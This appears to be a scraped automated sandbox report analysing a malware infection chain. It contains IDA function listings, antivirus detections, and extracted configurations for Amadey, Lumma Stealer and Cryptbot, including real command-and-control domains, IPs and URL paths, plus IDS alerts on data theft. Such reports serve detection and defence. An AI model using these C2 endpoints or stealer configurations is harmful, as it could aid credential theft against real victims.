Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 6656917b189cfc32e0fce510992d3377bb67f74e0799cf33399cced6c0d003be
Instruction ID: 74742379b112feccc5cd958cb641f4eb9396b165e331c7826b6e4db0a3865993
Opcode Fuzzy Hash: 6656917b189cfc32e0fce510992d3377bb67f74e0799cf33399cced6c0d003be
Instruction Fuzzy Hash: CE11263AB00224DBCF15EF28E884A6D77ADAFE4360B154065EC12A7386DB74ED55CBD0

Function 0091B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0091B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0091B961

Strings

pContext, xrefs: 0091B959

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 1b14d6f5e4972d02a46dc59062febeb0e24225b5e342863bfee5fe1695017a7a
Instruction ID: e992bef547a5e525bf131057e6b2529e915cece4535ac53b1873ef9f62e7f114
Opcode Fuzzy Hash: 1b14d6f5e4972d02a46dc59062febeb0e24225b5e342863bfee5fe1695017a7a
Instruction Fuzzy Hash: 4CE0D839B00218ABCF04BB65E859D9DB77D9EC47147048116FA21A3395EB74AA45CAD0

Function 009134CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009134FC

Strings

pScheduler, xrefs: 009134F4
version, xrefs: 009134E1

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 5d8c5138f28e36a7bb926a4982aceae9e074e176bcea7f5d5733d89bccdd10f6
Instruction ID: ed4e4e306f02b6afdecd404a489b32ba708fe1e4c99d152045112c46b9263984
Opcode Fuzzy Hash: 5d8c5138f28e36a7bb926a4982aceae9e074e176bcea7f5d5733d89bccdd10f6
Instruction Fuzzy Hash: EBE0863464020CB6DF25FB54D847FDC777C9B90709F04C121B850211E19BF897C8CA81

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 10.2.324fcfa2b3.exe.400000.1.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "sustainskelet.lat", "necklacebudi.lat", "aspecteirs.lat", "pancakedipyps.click", "energyaffai.lat"], "Build id": "FATE99--test"}
Source: c6628554c1.exe.4324.11.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["home.twentytk20pn.top"]}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Joe Sandbox ML: detected

Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: file.exe	Virustotal: Detection: 54%			Perma Link
Source: file.exe	ReversingLabs: Detection: 47%

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49817 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49825
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.5:55985 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:51684 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49853 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:49850 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49860 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49866 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.5:61349 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49871 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49876 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49874 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49882 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49883 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49892 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49891 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49898 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49900 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49907 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49916 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49909 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49919 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49943 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49938 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:49927 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50039 -> 147.45.113.159:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49860 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49860 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49891 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49853 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49853 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49876 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49876 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49916 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49892 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49883 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49883 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49937 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49937 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49992 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49945 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49945 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49927 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49898 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49943 -> 172.67.209.202:443

